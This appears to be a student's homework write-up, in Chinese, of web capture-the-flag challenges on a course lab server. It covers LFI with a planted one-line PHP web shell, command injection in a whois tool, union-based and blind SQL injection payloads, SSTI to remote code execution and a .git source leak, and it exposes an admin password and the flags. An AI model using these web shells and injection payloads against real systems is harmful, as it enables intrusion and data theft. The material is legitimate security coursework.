# HW9
## Hello from Windows 98
本題打開Source Code可以看到很明顯的LFI

解出這題只有兩個流程:
1. 輸入一個一句話木馬(WebShell)
一句話木馬 : <?php eval($_GET['code']); ?>

輸入後透過F12可以看到木馬存放的session ID
2. include對應的session檔案,PHP就會執行session檔案的指令,使我們可以做到RCE
透過下面URL來include
https://windows.ctf.zoolab.org/?page=/tmp/sess_b5eb75a22e21e340978d2f64bfbc32b7

可以看到此木馬成功執行,只差我們給予他指令
在這裡要用URL Encode將指令轉成URL看得懂的格式

然後輸入
https://windows.ctf.zoolab.org/?page=/tmp/sess_b5eb75a22e21e340978d2f64bfbc32b7&&code=system(%27ls%27)%3b
可以看到那個目錄下的所有檔案

同理,透過page=/tmp/sess_b5eb75a22e21e340978d2f64bfbc32b7&&code=system(%27cat+flag.txt%27)%3b
可以得到FLAG!!

## Whois Tool
這次的介面如下,很明顯{host}存在Injection

直接直觀的去閉合字串,中間穿插我們需要的指令就好
先ls此目錄下有甚麼檔案

之後要去cat flag.txt
但因為長度會超過限制
所以用Wildcard讀flag就可以了

## Normal Login Panel (Flag 1)
這題可以透過SQL Injection拿到admin帳號
由於基本的助教上課都有講解,我就直接附上解題流程:
1. 檢查看看有幾個欄位
admin' union select 1,2,3,4 --

2. 列出欄位名稱
admin' union select 1,2,3,sql from sqlite_master WHERE type='table' --

3. 拿取password,此admin的password就是FLAG!!
admin' union select 1,2,3,password from users --

## Normal Login Panel (Flag 2)
這題拿admin跟FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}登入就可以看到網頁的Source code

其中存在明顯的SSTI

我們可以透過這個Template Injection達到RCE
詳細步驟助教都在影片中說明了
我這邊簡單理一下解題流程:
1. 透過greet跟python object的所有subclasses來做RCE
首先,由於python的system不會return結果回來
所以我們需要個Web Server接收system的結果,這裡我用ls查看一下當前目錄所有的檔案

下面是我用BurpSuite所送出的封包

其中為了存取<class 'os._wrap_close'>的class,我使用Notepad++來看<class 'os._wrap_close'>在第幾行,以確定此class的index為140

2. 透過相同手法獲取FLAG
封包如下:

這樣就得到FLAG了!!

助教還有說可以用popen直接獲取FLAG

## PasteWeb (Flag 1)
此題的考點是SQL Injection
在考慮要不要寫腳本做SQL Injection時看了一下封包內容

發現他有時間戳避免sqlmap來自動注入
之後就手寫腳本了
因為解題過程跌跌撞撞,所以下面只列出可以解開這邊FLAG的流程:
1. 由於Boolean base的SQL injection需要用Binary Search加速,所以下面列出Binary Search函數以及時間戳生成的程式碼

2. 開始SQL Injection,首先需要爆破的是current_schema
* 爆破長度
格式 : ' or length(current_schema) > 0 --

* 爆破字串內容
格式 : ' or ascii(substr(current_schema,{i+1},1)) > {你要測試的數字} --

3. 開始爆破資料表名稱
* 找出有多少個資料表
格式 : ' or (SELECT count(tablename) FROM pg_tables WHERE schemaname=current_schema) > {你要測試的數字} --

* 爆破資料表名稱
格式 : ' or ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='pasteweb_accounts' LIMIT 1 OFFSET 0),1,1)) > {你要測試的數字} --

4. 爆破s3cr3t_t4b1e表格的第一個欄位名
格式 : ' or ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='s3cr3t_t4b1e' LIMIT 1 OFFSET 0),0,1)) > {你要測試的數字} --

5. 爆破s3cr3t_t4b1e第一個欄位的內容就是FLAG了!!
* 爆破欄位內容長度
格式 : ' or length((select fl4g from s3cr3t_t4b1e LIMIT 1 OFFSET 0)) > 0 --

* 爆破欄位內容
格式 : ' or ascii(substr((select fl4g from s3cr3t_t4b1e LIMIT 1 OFFSET 0),0,1)) > {你要測試的數字} --

### 總結
這題其實主要就是考驗解題者能否自己手寫腳本做SQL Injection,基本上只要根據類似下面的格式,就能爆破資料庫名稱、資料表、欄位以及欄位內容
```
' or length(current_schema) > 0 --
```
還需要注意的是解題人需要通點靈,我解到admin密碼後都沒看到FLAG,想了很久,去了別張資料表逛逛才發現FLAG
然後主機如果連線時間太長好像會斷開,所以我用Jupyter Notebook一段一段程式碼分開執行,助教如果要測試我的腳本可以分開跑,直接執行可能會斷開。
## PasteWeb (Flag 2)
這題是一題leak .git的題目,需要透過leak出來的資料並還原出原始碼。
然後這題需要admin的密碼才能進來寫HTML跟CSS
我透過FLAG 1的方式拿到了admin密碼
帳號 : admin
密碼 : P@ssw0rD
流程如下:
1. 先讀取.git下的logs/HEAD,查看commit的紀錄

儲存後查看結果

可以得到base64編碼後的資料,再拿去解開來(把整串貼到Chrome的URL上)可以得到HEAD的內容

2. 去讀取Add flag這筆commit下的資料

Code如下:

執行起來後可以看的到資料的Base64編碼

一樣拿去解開,會下載一個檔案,我拿到自己的WSL有git的資料夾下,並儲存成.git/objects/f7/fac4b9675f72b3333c732e7ed5a0066d78599d
如此就可以用git cat-file -p f7fac4b9675f72b3333c732e7ed5a0066d78599d 來查看內容

3. 讀取tree檔案,做法同上,寫CSS Code然後看到資料的Base64值,拿去chrome的URL貼上去,就可以下載到對應檔案,讀出的資料如下

4. 由於我已經把全部PHP都下載下來看過了,FLAG藏在index.php中,接下來只要去leak index.php的檔案內容就好
一樣先寫CSS Code

然後執行,用Base64貼到Chrome的URL上來下載到對應檔案,之後放到.git/objects對應目錄下,用git cat-file -p
可以看到index.php內容

這樣就得到FLAG了!!
FLAG{a_l1tTl3_tRicKy_.git_L34k..or_D1d_y0u_f1nD_a_0Day_1n_lessphp?}